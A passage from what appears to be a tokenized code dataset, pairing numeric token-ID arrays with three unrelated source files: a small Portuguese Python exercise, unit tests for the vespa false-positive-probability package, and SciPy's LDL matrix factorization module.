1195, 29898, 1989, 19935, 29897, 448, 6287, 458, 29896, 29900, 29892, 4236, 29898, 1989, 19935, 29897, 718, 6287, 458, 29896, 29900, 29897, 13, 1678, 4853, 29889, 842, 29918, 29891, 2576, 29898, 7052, 29892, 448, 7052, 29897, 13, 1678, 396, 1165, 29889, 842, 29918, 29891, 2576, 29898, 29900, 29889, 29945, 29930, 7052, 29892, 448, 29900, 29889, 29906, 29945, 29930, 7052, 29897, 13, 1678, 4853, 29889, 842, 29918, 486, 7358, 29898, 23583, 29898, 1989, 19935, 876, 13, 1678, 4853, 29889, 842, 29918, 486, 860, 21134, 29898, 1989, 19935, 29897, 13, 1678, 4853, 29889, 842, 29898, 29916, 1643, 2433, 2558, 19935, 1495, 13, 268, 13, 13, 13, 29937, 512, 29961, 4514, 29901, 13, 13, 13, 13, 13, 2 ]
Udemy/GeekUniversity/secao_4/ex2.py
SandboxGTASA/Python-1
0
65932
# Faça um programa que leia um numero real e imprima num_real = float(input('Entre com um numero real: ')) print(f'O numero real digitado foi: {num_real}')
[ 1, 396, 7748, 4277, 1922, 16914, 712, 454, 423, 1922, 17910, 1855, 321, 16921, 2946, 13, 13, 1949, 29918, 6370, 353, 5785, 29898, 2080, 877, 5292, 276, 419, 1922, 17910, 1855, 29901, 525, 876, 13, 2158, 29898, 29888, 29915, 29949, 17910, 1855, 13615, 912, 4732, 29901, 426, 1949, 29918, 6370, 29913, 1495, 13, 2 ]
vespa/tests/test_fpp.py
timothydmorton/vespa
37
161417
<reponame>timothydmorton/vespa from __future__ import print_function, division import os, os.path import unittest import tempfile from vespa.fpp import FPPCalculation import pkg_resources ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__))) class TestFPP(unittest.TestCase): name = 'kepler-22' ini_file = 'fpp.ini' n = 200 recalc = True refit_trap = False cadence = 0.02 # should be what is in ini files def setUp(self): dirname = os.path.join(ROOT, self.name) self.f = FPPCalculation.from_ini(dirname, ini_file=self.ini_file, n=self.n, recalc=self.recalc, refit_trap=self.refit_trap) def test_cadence(self): for pop in self.f.modelnames: assert self.f[pop].cadence == self.cadence def test_fpp(self): fpp = self.f.FPP() assert fpp > 0 def test_bootstrap(self): h, lines = self.f.bootstrap_FPP(N=3) for line in lines: assert float(line.split()[-1]) > 0 class TestFPP_CC(TestFPP): ini_file = 'fpp_cc.ini' recalc= False class TestFPP_CC2(TestFPP): ini_file = 'fpp_cc2.ini' recalc = False # class TestFPP_cadence(TestFPP): # ini_file = 'fpp_cadence.ini' # cadence = 0.01 # should be same as in fpp_cadence.ini # def test_cadence(self): # for pop in self.f.modelnames: # assert self.f[pop].cadence == self.cadence
[ 1, 529, 276, 1112, 420, 29958, 9346, 720, 2941, 29885, 26342, 29914, 1960, 3274, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 29892, 8542, 13, 13, 5215, 2897, 29892, 2897, 29889, 2084, 13, 5215, 443, 27958, 13, 5215, 5694, 1445, 13, 13, 3166, 28999, 3274, 29889, 29888, 407, 1053, 383, 18009, 27065, 362, 13, 13, 5215, 282, 9415, 29918, 13237, 13, 13, 21289, 353, 2897, 29889, 2084, 29889, 370, 1028, 493, 29898, 359, 29889, 2084, 29889, 7122, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 4961, 13, 13, 1990, 4321, 29943, 18009, 29898, 348, 27958, 29889, 3057, 8259, 1125, 13, 1678, 1024, 353, 525, 446, 20069, 29899, 29906, 29906, 29915, 13, 1678, 297, 29875, 29918, 1445, 353, 525, 29888, 407, 29889, 2172, 29915, 13, 1678, 302, 353, 29871, 29906, 29900, 29900, 13, 1678, 337, 28667, 353, 5852, 13, 1678, 2143, 277, 29918, 29873, 2390, 353, 7700, 13, 1678, 13840, 663, 353, 29871, 29900, 29889, 29900, 29906, 396, 881, 367, 825, 338, 297, 297, 29875, 2066, 13, 13, 1678, 822, 731, 3373, 29898, 1311, 1125, 13, 4706, 4516, 978, 353, 2897, 29889, 2084, 29889, 7122, 29898, 21289, 29892, 1583, 29889, 978, 29897, 13, 4706, 1583, 29889, 29888, 353, 383, 18009, 27065, 362, 29889, 3166, 29918, 2172, 29898, 25721, 29892, 297, 29875, 29918, 1445, 29922, 1311, 29889, 2172, 29918, 1445, 29892, 13, 462, 462, 1678, 302, 29922, 1311, 29889, 29876, 29892, 337, 28667, 29922, 1311, 29889, 276, 28667, 29892, 13, 462, 462, 1678, 2143, 277, 29918, 29873, 2390, 29922, 1311, 29889, 999, 277, 29918, 29873, 2390, 29897, 13, 13, 1678, 822, 1243, 29918, 29883, 328, 663, 29898, 1311, 1125, 13, 4706, 363, 1835, 297, 1583, 29889, 29888, 29889, 1545, 3478, 1280, 29901, 13, 9651, 4974, 1583, 29889, 29888, 29961, 7323, 1822, 29883, 328, 663, 1275, 1583, 29889, 29883, 328, 663, 13, 13, 1678, 822, 1243, 29918, 29888, 407, 29898, 1311, 1125, 13, 4706, 285, 407, 353, 1583, 29889, 29888, 29889, 29943, 18009, 580, 13, 4706, 4974, 285, 407, 1405, 29871, 29900, 13, 13, 1678, 822, 1243, 29918, 8704, 29898, 1311, 1125, 13, 4706, 298, 29892, 3454, 353, 1583, 29889, 29888, 29889, 8704, 29918, 29943, 18009, 29898, 29940, 29922, 29941, 29897, 13, 4706, 363, 1196, 297, 3454, 29901, 13, 9651, 4974, 5785, 29898, 1220, 29889, 5451, 580, 14352, 29896, 2314, 1405, 29871, 29900, 13, 13, 1990, 4321, 29943, 18009, 29918, 4174, 29898, 3057, 29943, 18009, 1125, 13, 1678, 297, 29875, 29918, 1445, 353, 525, 29888, 407, 29918, 617, 29889, 2172, 29915, 13, 1678, 337, 28667, 29922, 7700, 13, 13, 1990, 4321, 29943, 18009, 29918, 4174, 29906, 29898, 3057, 29943, 18009, 1125, 13, 1678, 297, 29875, 29918, 1445, 353, 525, 29888, 407, 29918, 617, 29906, 29889, 2172, 29915, 13, 1678, 337, 28667, 353, 7700, 13, 13, 29937, 770, 4321, 29943, 18009, 29918, 29883, 328, 663, 29898, 3057, 29943, 18009, 1125, 13, 29937, 268, 297, 29875, 29918, 1445, 353, 525, 29888, 407, 29918, 29883, 328, 663, 29889, 2172, 29915, 13, 29937, 268, 13840, 663, 353, 29871, 29900, 29889, 29900, 29896, 396, 881, 367, 1021, 408, 297, 285, 407, 29918, 29883, 328, 663, 29889, 2172, 13, 13, 29937, 268, 822, 1243, 29918, 29883, 328, 663, 29898, 1311, 1125, 13, 29937, 308, 363, 1835, 297, 1583, 29889, 29888, 29889, 1545, 3478, 1280, 29901, 13, 29937, 632, 4974, 1583, 29889, 29888, 29961, 7323, 1822, 29883, 328, 663, 1275, 1583, 29889, 29883, 328, 663, 13, 2 ]
scipy/linalg/_decomp_ldl.py
smola/scipy
2
195886
from __future__ import division, print_function, absolute_import from warnings import warn import numpy as np from numpy import (atleast_2d, ComplexWarning, arange, zeros_like, imag, diag, iscomplexobj, tril, triu, argsort, empty_like) from .decomp import _asarray_validated from .lapack import get_lapack_funcs, _compute_lwork __all__ = ['ldl'] def ldl(A, lower=True, hermitian=True, overwrite_a=False, check_finite=True): """ Computes the LDLt or Bunch-Kaufman factorization of a symmetric/ hermitian matrix. This function returns a block diagonal matrix D consisting blocks of size at most 2x2 and also a possibly permuted unit lower triangular matrix ``L`` such that the factorization ``A = L D L^H`` or ``A = L D L^T`` holds. If ``lower`` is False then (again possibly permuted) upper triangular matrices are returned as outer factors. The permutation array can be used to triangularize the outer factors simply by a row shuffle, i.e., ``lu[perm, :]`` is an upper/lower triangular matrix. This is also equivalent to multiplication with a permutation matrix ``P.dot(lu)``, where ``P`` is a column-permuted identity matrix ``I[:, perm]``. Depending on the value of the boolean ``lower``, only upper or lower triangular part of the input array is referenced. Hence, a triangular matrix on entry would give the same result as if the full matrix is supplied. Parameters ---------- a : array_like Square input array lower : bool, optional This switches between the lower and upper triangular outer factors of the factorization. Lower triangular (``lower=True``) is the default. hermitian : bool, optional For complex-valued arrays, this defines whether ``a = a.conj().T`` or ``a = a.T`` is assumed. For real-valued arrays, this switch has no effect. overwrite_a : bool, optional Allow overwriting data in ``a`` (may enhance performance). The default is False. check_finite : bool, optional Whether to check that the input matrices contain only finite numbers. Disabling may give a performance gain, but may result in problems (crashes, non-termination) if the inputs do contain infinities or NaNs. Returns ------- lu : ndarray The (possibly) permuted upper/lower triangular outer factor of the factorization. d : ndarray The block diagonal multiplier of the factorization. perm : ndarray The row-permutation index array that brings lu into triangular form. Raises ------ ValueError If input array is not square. ComplexWarning If a complex-valued array with nonzero imaginary parts on the diagonal is given and hermitian is set to True. Examples -------- Given an upper triangular array `a` that represents the full symmetric array with its entries, obtain `l`, 'd' and the permutation vector `perm`: >>> import numpy as np >>> from scipy.linalg import ldl >>> a = np.array([[2, -1, 3], [0, 2, 0], [0, 0, 1]]) >>> lu, d, perm = ldl(a, lower=0) # Use the upper part >>> lu array([[ 0. , 0. , 1. ], [ 0. , 1. , -0.5], [ 1. , 1. , 1.5]]) >>> d array([[-5. , 0. , 0. ], [ 0. , 1.5, 0. ], [ 0. , 0. , 2. ]]) >>> perm array([2, 1, 0]) >>> lu[perm, :] array([[ 1. , 1. , 1.5], [ 0. , 1. , -0.5], [ 0. , 0. , 1. ]]) >>> lu.dot(d).dot(lu.T) array([[ 2., -1., 3.], [-1., 2., 0.], [ 3., 0., 1.]]) Notes ----- This function uses ``?SYTRF`` routines for symmetric matrices and ``?HETRF`` routines for Hermitian matrices from LAPACK. See [1]_ for the algorithm details. Depending on the ``lower`` keyword value, only lower or upper triangular part of the input array is referenced. Moreover, this keyword also defines the structure of the outer factors of the factorization. .. versionadded:: 1.1.0 See also -------- cholesky, lu References ---------- .. [1] <NAME>, <NAME>, Some stable methods for calculating inertia and solving symmetric linear systems, Math. Comput. Vol.31, 1977. DOI: 10.2307/2005787 """ a = atleast_2d(_asarray_validated(A, check_finite=check_finite)) if a.shape[0] != a.shape[1]: raise ValueError('The input array "a" should be square.') # Return empty arrays for empty square input if a.size == 0: return empty_like(a), empty_like(a), np.array([], dtype=int) n = a.shape[0] r_or_c = complex if iscomplexobj(a) else float # Get the LAPACK routine if r_or_c is complex and hermitian: s, sl = 'hetrf', 'hetrf_lwork' if np.any(imag(diag(a))): warn('scipy.linalg.ldl():\nThe imaginary parts of the diagonal' 'are ignored. Use "hermitian=False" for factorization of' 'complex symmetric arrays.', ComplexWarning, stacklevel=2) else: s, sl = 'sytrf', 'sytrf_lwork' solver, solver_lwork = get_lapack_funcs((s, sl), (a,)) lwork = _compute_lwork(solver_lwork, n, lower=lower) ldu, piv, info = solver(a, lwork=lwork, lower=lower, overwrite_a=overwrite_a) if info < 0: raise ValueError('{} exited with the internal error "illegal value ' 'in argument number {}". See LAPACK documentation ' 'for the error codes.'.format(s.upper(), -info)) swap_arr, pivot_arr = _ldl_sanitize_ipiv(piv, lower=lower) d, lu = _ldl_get_d_and_l(ldu, pivot_arr, lower=lower, hermitian=hermitian) lu, perm = _ldl_construct_tri_factor(lu, swap_arr, pivot_arr, lower=lower) return lu, d, perm def _ldl_sanitize_ipiv(a, lower=True): """ This helper function takes the rather strangely encoded permutation array returned by the LAPACK routines ?(HE/SY)TRF and converts it into regularized permutation and diagonal pivot size format. Since FORTRAN uses 1-indexing and LAPACK uses different start points for upper and lower formats there are certain offsets in the indices used below. Let's assume a result where the matrix is 6x6 and there are two 2x2 and two 1x1 blocks reported by the routine. To ease the coding efforts, we still populate a 6-sized array and fill zeros as the following :: pivots = [2, 0, 2, 0, 1, 1] This denotes a diagonal matrix of the form :: [x x ] [x x ] [ x x ] [ x x ] [ x ] [ x] In other words, we write 2 when the 2x2 block is first encountered and automatically write 0 to the next entry and skip the next spin of the loop. Thus, a separate counter or array appends to keep track of block sizes are avoided. If needed, zeros can be filtered out later without losing the block structure. Parameters ---------- a : ndarray The permutation array ipiv returned by LAPACK lower : bool, optional The switch to select whether upper or lower triangle is chosen in the LAPACK call. Returns ------- swap_ : ndarray The array that defines the row/column swap operations. For example, if row two is swapped with row four, the result is [0, 3, 2, 3]. pivots : ndarray The array that defines the block diagonal structure as given above. """ n = a.size swap_ = arange(n) pivots = zeros_like(swap_, dtype=int) skip_2x2 = False # Some upper/lower dependent offset values # range (s)tart, r(e)nd, r(i)ncrement x, y, rs, re, ri = (1, 0, 0, n, 1) if lower else (-1, -1, n-1, -1, -1) for ind in range(rs, re, ri): # If previous spin belonged already to a 2x2 block if skip_2x2: skip_2x2 = False continue cur_val = a[ind] # do we have a 1x1 block or not? if cur_val > 0: if cur_val != ind+1: # Index value != array value --> permutation required swap_[ind] = swap_[cur_val-1] pivots[ind] = 1 # Not. elif cur_val < 0 and cur_val == a[ind+x]: # first neg entry of 2x2 block identifier if -cur_val != ind+2: # Index value != array value --> permutation required swap_[ind+x] = swap_[-cur_val-1] pivots[ind+y] = 2 skip_2x2 = True else: # Doesn't make sense, give up raise ValueError('While parsing the permutation array ' 'in "scipy.linalg.ldl", invalid entries ' 'found. The array syntax is invalid.') return swap_, pivots def _ldl_get_d_and_l(ldu, pivs, lower=True, hermitian=True): """ Helper function to extract the diagonal and triangular matrices for LDL.T factorization. Parameters ---------- ldu : ndarray The compact output returned by the LAPACK routing pivs : ndarray The sanitized array of {0, 1, 2} denoting the sizes of the pivots. For every 2 there is a succeeding 0. lower : bool, optional If set to False, upper triangular part is considered. hermitian : bool, optional If set to False a symmetric complex array is assumed. Returns ------- d : ndarray The block diagonal matrix. lu : ndarray The upper/lower triangular matrix """ is_c = iscomplexobj(ldu) d = diag(diag(ldu)) n = d.shape[0] blk_i = 0 # block index # row/column offsets for selecting sub-, super-diagonal x, y = (1, 0) if lower else (0, 1) lu = tril(ldu, -1) if lower else triu(ldu, 1) diag_inds = arange(n) lu[diag_inds, diag_inds] = 1 for blk in pivs[pivs != 0]: # increment the block index and check for 2s # if 2 then copy the off diagonals depending on uplo inc = blk_i + blk if blk == 2: d[blk_i+x, blk_i+y] = ldu[blk_i+x, blk_i+y] # If Hermitian matrix is factorized, the cross-offdiagonal element # should be conjugated. if is_c and hermitian: d[blk_i+y, blk_i+x] = ldu[blk_i+x, blk_i+y].conj() else: d[blk_i+y, blk_i+x] = ldu[blk_i+x, blk_i+y] lu[blk_i+x, blk_i+y] = 0. blk_i = inc return d, lu def _ldl_construct_tri_factor(lu, swap_vec, pivs, lower=True): """ Helper function to construct explicit outer factors of LDL factorization. If lower is True the permuted factors are multiplied as L(1)*L(2)*...*L(k). Otherwise, the permuted factors are multiplied as L(k)*...*L(2)*L(1). See LAPACK documentation for more details. Parameters ---------- lu : ndarray The triangular array that is extracted from LAPACK routine call with ones on the diagonals. swap_vec : ndarray The array that defines the row swapping indices. If the kth entry is m then rows k,m are swapped. Notice that the mth entry is not necessarily k to avoid undoing the swapping. pivs : ndarray The array that defines the block diagonal structure returned by _ldl_sanitize_ipiv(). lower : bool, optional The boolean to switch between lower and upper triangular structure. Returns ------- lu : ndarray The square outer factor which satisfies the L * D * L.T = A perm : ndarray The permutation vector that brings the lu to the triangular form Notes ----- Note that the original argument "lu" is overwritten. """ n = lu.shape[0] perm = arange(n) # Setup the reading order of the permutation matrix for upper/lower rs, re, ri = (n-1, -1, -1) if lower else (0, n, 1) for ind in range(rs, re, ri): s_ind = swap_vec[ind] if s_ind != ind: # Column start and end positions col_s = ind if lower else 0 col_e = n if lower else ind+1 # If we stumble upon a 2x2 block include both cols in the perm. if pivs[ind] == (0 if lower else 2): col_s += -1 if lower else 0 col_e += 0 if lower else 1 lu[[s_ind, ind], col_s:col_e] = lu[[ind, s_ind], col_s:col_e] perm[[s_ind, ind]] = perm[[ind, s_ind]] return lu, argsort(perm)
[ 1, 515, 4770, 29888, 9130, 1649, 1053, 8542, 29892, 1596, 29918, 2220, 29892, 8380, 29918, 5215, 13, 13, 3166, 18116, 1053, 29383, 13, 13, 5215, 12655, 408, 7442, 13, 3166, 12655, 1053, 313, 271, 280, 579, 29918, 29906, 29881, 29892, 26596, 22709, 29892, 564, 927, 29892, 24786, 29918, 4561, 29892, 6382, 29892, 7936, 29892, 13, 462, 259, 338, 19676, 5415, 29892, 534, 309, 29892, 3367, 29884, 29892, 6389, 441, 29892, 4069, 29918, 4561, 29897, 13, 3166, 869, 311, 2388, 1053, 903, 294, 2378, 29918, 3084, 630, 13, 3166, 869, 433, 4058, 1053, 679, 29918, 433, 4058, 29918, 7692, 2395, 29892, 903, 26017, 29918, 29880, 1287, 13, 13, 1649, 497, 1649, 353, 6024, 430, 29880, 2033, 13, 13, 13, 1753, 301, 11671, 29898, 29909, 29892, 5224, 29922, 5574, 29892, 18606, 277, 713, 29922, 5574, 29892, 26556, 29918, 29874, 29922, 8824, 29892, 1423, 29918, 18925, 29922, 5574, 1125, 13, 1678, 9995, 11796, 267, 278, 365, 19558, 29873, 470, 350, 3322, 29899, 29968, 4987, 1171, 7329, 2133, 310, 263, 18348, 29914, 13, 1678, 18606, 277, 713, 4636, 29889, 13, 13, 1678, 910, 740, 3639, 263, 2908, 19640, 4636, 360, 19849, 10930, 310, 2159, 13, 1678, 472, 1556, 29871, 29906, 29916, 29906, 322, 884, 263, 10075, 3635, 3860, 5190, 5224, 3367, 6825, 4636, 13, 1678, 4954, 29931, 16159, 1316, 393, 278, 7329, 2133, 4954, 29909, 353, 365, 360, 365, 29985, 29950, 16159, 470, 4954, 29909, 353, 365, 360, 365, 29985, 29911, 16159, 13, 1678, 8640, 29889, 960, 4954, 13609, 16159, 338, 7700, 769, 313, 351, 475, 10075, 3635, 3860, 29897, 7568, 13, 1678, 3367, 6825, 13516, 526, 4133, 408, 11420, 13879, 29889, 13, 13, 1678, 450, 20005, 362, 1409, 508, 367, 1304, 304, 3367, 6825, 675, 278, 11420, 13879, 13, 1678, 3763, 491, 263, 1948, 528, 21897, 29892, 474, 29889, 29872, 1696, 4954, 6092, 29961, 17858, 29892, 584, 7961, 29952, 338, 385, 7568, 29914, 13609, 13, 1678, 3367, 6825, 4636, 29889, 910, 338, 884, 7126, 304, 21666, 411, 263, 13, 1678, 20005, 362, 4636, 4954, 29925, 29889, 6333, 29898, 6092, 3569, 1673, 988, 4954, 29925, 16159, 338, 263, 1897, 29899, 17858, 3860, 13, 1678, 10110, 4636, 4954, 29902, 7503, 29892, 3635, 7961, 1412, 13, 13, 1678, 28277, 373, 278, 995, 310, 278, 7223, 4954, 13609, 29952, 1673, 871, 7568, 470, 5224, 13, 1678, 3367, 6825, 760, 310, 278, 1881, 1409, 338, 16180, 29889, 10133, 29892, 263, 3367, 6825, 13, 1678, 4636, 373, 6251, 723, 2367, 278, 1021, 1121, 408, 565, 278, 2989, 4636, 338, 13, 1678, 19056, 29889, 13, 13, 1678, 12662, 2699, 13, 1678, 448, 1378, 29899, 13, 1678, 263, 584, 1409, 29918, 4561, 13, 4706, 19256, 1881, 1409, 13, 1678, 5224, 584, 6120, 29892, 13136, 13, 4706, 910, 4607, 267, 1546, 278, 5224, 322, 7568, 3367, 6825, 11420, 13879, 310, 13, 4706, 278, 7329, 2133, 29889, 27723, 3367, 6825, 6695, 29952, 13609, 29922, 5574, 29952, 6348, 338, 278, 2322, 29889, 13, 1678, 18606, 277, 713, 584, 6120, 29892, 13136, 13, 4706, 1152, 4280, 29899, 4387, 287, 7049, 29892, 445, 17645, 3692, 4954, 29874, 353, 263, 29889, 535, 29926, 2141, 29911, 16159, 470, 13, 4706, 4954, 29874, 353, 263, 29889, 29911, 16159, 338, 12023, 29889, 1152, 1855, 29899, 4387, 287, 7049, 29892, 445, 4607, 756, 694, 13, 4706, 2779, 29889, 13, 1678, 26556, 29918, 29874, 584, 6120, 29892, 13136, 13, 4706, 29408, 975, 16554, 848, 297, 4954, 29874, 16159, 313, 13029, 26371, 749, 4180, 467, 450, 2322, 13, 4706, 338, 7700, 29889, 13, 1678, 1423, 29918, 18925, 584, 6120, 29892, 13136, 13, 4706, 26460, 304, 1423, 393, 278, 1881, 13516, 1712, 871, 8093, 3694, 29889, 13, 4706, 3295, 17961, 1122, 2367, 263, 4180, 11581, 29892, 541, 1122, 1121, 297, 4828, 13, 4706, 313, 7283, 1161, 267, 29892, 1661, 29899, 18821, 362, 29897, 565, 278, 10970, 437, 1712, 8275, 1907, 470, 18780, 29879, 29889, 13, 13, 1678, 16969, 13, 1678, 448, 22158, 13, 1678, 8092, 584, 29871, 299, 2378, 13, 4706, 450, 313, 28802, 14981, 29897, 3635, 3860, 7568, 29914, 13609, 3367, 6825, 11420, 7329, 310, 278, 13, 4706, 7329, 2133, 29889, 13, 1678, 270, 584, 29871, 299, 2378, 13, 4706, 450, 2908, 19640, 6674, 4926, 310, 278, 7329, 2133, 29889, 13, 1678, 3635, 584, 29871, 299, 2378, 13, 4706, 450, 1948, 29899, 546, 6149, 362, 2380, 1409, 393, 23522, 8092, 964, 3367, 6825, 883, 29889, 13, 13, 1678, 390, 1759, 267, 13, 1678, 448, 23648, 13, 1678, 7865, 2392, 13, 4706, 960, 1881, 1409, 338, 451, 6862, 29889, 13, 1678, 26596, 22709, 13, 4706, 960, 263, 4280, 29899, 4387, 287, 1409, 411, 1661, 9171, 6382, 3821, 5633, 373, 278, 13, 4706, 19640, 338, 2183, 322, 18606, 277, 713, 338, 731, 304, 5852, 29889, 13, 13, 1678, 1222, 9422, 13, 1678, 448, 26589, 13, 1678, 11221, 385, 7568, 3367, 6825, 1409, 421, 29874, 29952, 393, 11524, 278, 2989, 18348, 13, 1678, 1409, 411, 967, 9976, 29892, 4017, 421, 29880, 1673, 525, 29881, 29915, 322, 278, 20005, 362, 4608, 421, 17858, 6998, 13, 13, 1678, 8653, 1053, 12655, 408, 7442, 13, 1678, 8653, 515, 4560, 2272, 29889, 29880, 979, 29887, 1053, 301, 11671, 13, 1678, 8653, 263, 353, 7442, 29889, 2378, 4197, 29961, 29906, 29892, 448, 29896, 29892, 29871, 29941, 1402, 518, 29900, 29892, 29871, 29906, 29892, 29871, 29900, 1402, 518, 29900, 29892, 29871, 29900, 29892, 29871, 29896, 24960, 13, 1678, 8653, 8092, 29892, 270, 29892, 3635, 353, 301, 11671, 29898, 29874, 29892, 5224, 29922, 29900, 29897, 396, 4803, 278, 7568, 760, 13, 1678, 8653, 8092, 13, 1678, 1409, 4197, 29961, 29871, 29900, 29889, 1919, 259, 29900, 29889, 1919, 259, 29896, 29889, 21251, 13, 965, 518, 29871, 29900, 29889, 1919, 259, 29896, 29889, 1919, 448, 29900, 29889, 29945, 1402, 13, 965, 518, 29871, 29896, 29889, 1919, 259, 29896, 29889, 1919, 259, 29896, 29889, 29945, 24960, 13, 1678, 8653, 270, 13, 1678, 1409, 4197, 14352, 29945, 29889, 1919, 259, 29900, 29889, 1919, 259, 29900, 29889, 21251, 13, 965, 518, 29871, 29900, 29889, 1919, 259, 29896, 29889, 29945, 29892, 259, 29900, 29889, 21251, 13, 965, 518, 29871, 29900, 29889, 1919, 259, 29900, 29889, 1919, 259, 29906, 29889, 4514, 2314, 13, 1678, 8653, 3635, 13, 1678, 1409, 4197, 29906, 29892, 29871, 29896, 29892, 29871, 29900, 2314, 13, 1678, 8653, 8092, 29961, 17858, 29892, 584, 29962, 13, 1678, 1409, 4197, 29961, 29871, 29896, 29889, 1919, 259, 29896, 29889, 1919, 259, 29896, 29889, 29945, 1402, 13, 965, 518, 29871, 29900, 29889, 1919, 259, 29896, 29889, 1919, 448, 29900, 29889, 29945, 1402, 13, 965, 518, 29871, 29900, 29889, 1919, 259, 29900, 29889, 1919, 259, 29896, 29889, 4514, 2314, 13, 1678, 8653, 8092, 29889, 6333, 29898, 29881, 467, 6333, 29898, 6092, 29889, 29911, 29897, 13, 1678, 1409, 4197, 29961, 29871, 29906, 1696, 448, 29896, 1696, 259, 29941, 29889, 1402, 13, 965, 21069, 29896, 1696, 259, 29906, 1696, 259, 29900, 29889, 1402, 13, 965, 518, 29871, 29941, 1696, 259, 29900, 1696, 259, 29896, 5586, 2314, 13, 13, 1678, 8695, 13, 1678, 448, 807, 13, 1678, 910, 740, 3913, 4954, 29973, 14816, 5659, 29943, 16159, 6745, 1475, 363, 18348, 13516, 322, 13, 1678, 4954, 29973, 29950, 2544, 29934, 29943, 16159, 6745, 1475, 363, 10515, 277, 713, 13516, 515, 365, 3301, 11375, 29889, 2823, 518, 29896, 21540, 363, 13, 1678, 278, 5687, 4902, 29889, 13, 13, 1678, 28277, 373, 278, 4954, 13609, 16159, 13553, 995, 29892, 871, 5224, 470, 7568, 3367, 6825, 13, 1678, 760, 310, 278, 1881, 1409, 338, 16180, 29889, 12808, 29892, 445, 13553, 884, 17645, 13, 1678, 278, 3829, 310, 278, 11420, 13879, 310, 278, 7329, 2133, 29889, 13, 13, 1678, 6317, 1873, 23959, 1057, 29871, 29896, 29889, 29896, 29889, 29900, 13, 13, 1678, 2823, 884, 13, 1678, 448, 26589, 13, 1678, 521, 6544, 3459, 29892, 8092, 13, 13, 1678, 28318, 13, 1678, 448, 1378, 29899, 13, 1678, 6317, 518, 29896, 29962, 529, 5813, 10202, 529, 5813, 10202, 3834, 13714, 3519, 363, 25202, 13, 539, 297, 814, 423, 322, 17069, 18348, 5608, 6757, 29892, 5792, 29889, 11796, 29889, 3684, 29889, 29941, 29896, 29892, 13, 4706, 29896, 29929, 29955, 29955, 29889, 11662, 29902, 29901, 29871, 29896, 29900, 29889, 29906, 29941, 29900, 29955, 29914, 29906, 29900, 29900, 29945, 29955, 29947, 29955, 13, 13, 1678, 9995, 13, 1678, 263, 353, 472, 280, 579, 29918, 29906, 29881, 7373, 294, 2378, 29918, 3084, 630, 29898, 29909, 29892, 1423, 29918, 18925, 29922, 3198, 29918, 18925, 876, 13, 1678, 565, 263, 29889, 12181, 29961, 29900, 29962, 2804, 263, 29889, 12181, 29961, 29896, 5387, 13, 4706, 12020, 7865, 2392, 877, 1576, 1881, 1409, 376, 29874, 29908, 881, 367, 6862, 29889, 1495, 13, 1678, 396, 7106, 4069, 7049, 363, 4069, 6862, 1881, 13, 1678, 565, 263, 29889, 2311, 1275, 29871, 29900, 29901, 13, 4706, 736, 4069, 29918, 4561, 29898, 29874, 511, 4069, 29918, 4561, 29898, 29874, 511, 7442, 29889, 2378, 4197, 1402, 26688, 29922, 524, 29897, 13, 13, 1678, 302, 353, 263, 29889, 12181, 29961, 29900, 29962, 13, 1678, 364, 29918, 272, 29918, 29883, 353, 4280, 565, 338, 19676, 5415, 29898, 29874, 29897, 1683, 5785, 13, 13, 1678, 396, 3617, 278, 365, 3301, 11375, 26529, 13, 1678, 565, 364, 29918, 272, 29918, 29883, 338, 4280, 322, 18606, 277, 713, 29901, 13, 4706, 269, 29892, 2243, 353, 525, 9188, 9600, 742, 525, 9188, 9600, 29918, 29880, 1287, 29915, 13, 4706, 565, 7442, 29889, 1384, 29898, 326, 351, 29898, 6051, 351, 29898, 29874, 876, 1125, 13, 9651, 29383, 877, 26167, 2272, 29889, 29880, 979, 29887, 29889, 430, 29880, 580, 3583, 29876, 1576, 6382, 3821, 5633, 310, 278, 19640, 29915, 13, 462, 525, 598, 17262, 29889, 4803, 376, 29882, 837, 277, 713, 29922, 8824, 29908, 363, 7329, 2133, 310, 29915, 13, 462, 525, 19676, 18348, 7049, 29889, 742, 26596, 22709, 29892, 5096, 5563, 29922, 29906, 29897, 13, 1678, 1683, 29901, 13, 4706, 269, 29892, 2243, 353, 525, 29879, 29891, 509, 29888, 742, 525, 29879, 29891, 509, 29888, 29918, 29880, 1287, 29915, 13, 13, 1678, 899, 369, 29892, 899, 369, 29918, 29880, 1287, 353, 679, 29918, 433, 4058, 29918, 7692, 2395, 3552, 29879, 29892, 2243, 511, 313, 29874, 29892, 876, 13, 1678, 301, 1287, 353, 903, 26017, 29918, 29880, 1287, 29898, 2929, 369, 29918, 29880, 1287, 29892, 302, 29892, 5224, 29922, 13609, 29897, 13, 1678, 301, 700, 29892, 282, 440, 29892, 5235, 353, 899, 369, 29898, 29874, 29892, 301, 1287, 29922, 29880, 1287, 29892, 5224, 29922, 13609, 29892, 13, 462, 9651, 26556, 29918, 29874, 29922, 957, 3539, 29918, 29874, 29897, 13, 1678, 565, 5235, 529, 29871, 29900, 29901, 13, 4706, 12020, 7865, 2392, 877, 8875, 429, 1573, 411, 278, 7463, 1059, 376, 309, 12018, 995, 525, 13, 462, 308, 525, 262, 2980, 1353, 6571, 1642, 2823, 365, 3301, 11375, 5106, 525, 13, 462, 308, 525, 1454, 278, 1059, 11561, 29889, 4286, 4830, 29898, 29879, 29889, 21064, 3285, 448, 3888, 876, 13, 13, 1678, 17945, 29918, 2749, 29892, 24438, 29918, 2749, 353, 903, 430, 29880, 29918, 28455, 277, 675, 29918, 666, 440, 29898, 29886, 440, 29892, 5224, 29922, 13609, 29897, 13, 1678, 270, 29892, 8092, 353, 903, 430, 29880, 29918, 657, 29918, 29881, 29918, 392, 29918, 29880, 29898, 430, 29884, 29892, 24438, 29918, 2749, 29892, 5224, 29922, 13609, 29892, 18606, 277, 713, 29922, 29882, 837, 277, 713, 29897, 13, 1678, 8092, 29892, 3635, 353, 903, 430, 29880, 29918, 11433, 29918, 3626, 29918, 19790, 29898, 6092, 29892, 17945, 29918, 2749, 29892, 24438, 29918, 2749, 29892, 5224, 29922, 13609, 29897, 13, 13, 1678, 736, 8092, 29892, 270, 29892, 3635, 13, 13, 13, 1753, 903, 430, 29880, 29918, 28455, 277, 675, 29918, 666, 440, 29898, 29874, 29892, 5224, 29922, 5574, 1125, 13, 1678, 9995, 13, 1678, 910, 16876, 740, 4893, 278, 3265, 851, 574, 873, 18511, 20005, 362, 1409, 13, 1678, 4133, 491, 278, 365, 3301, 11375, 6745, 1475, 1577, 29898, 9606, 29914, 14816, 29897, 5659, 29943, 322, 29436, 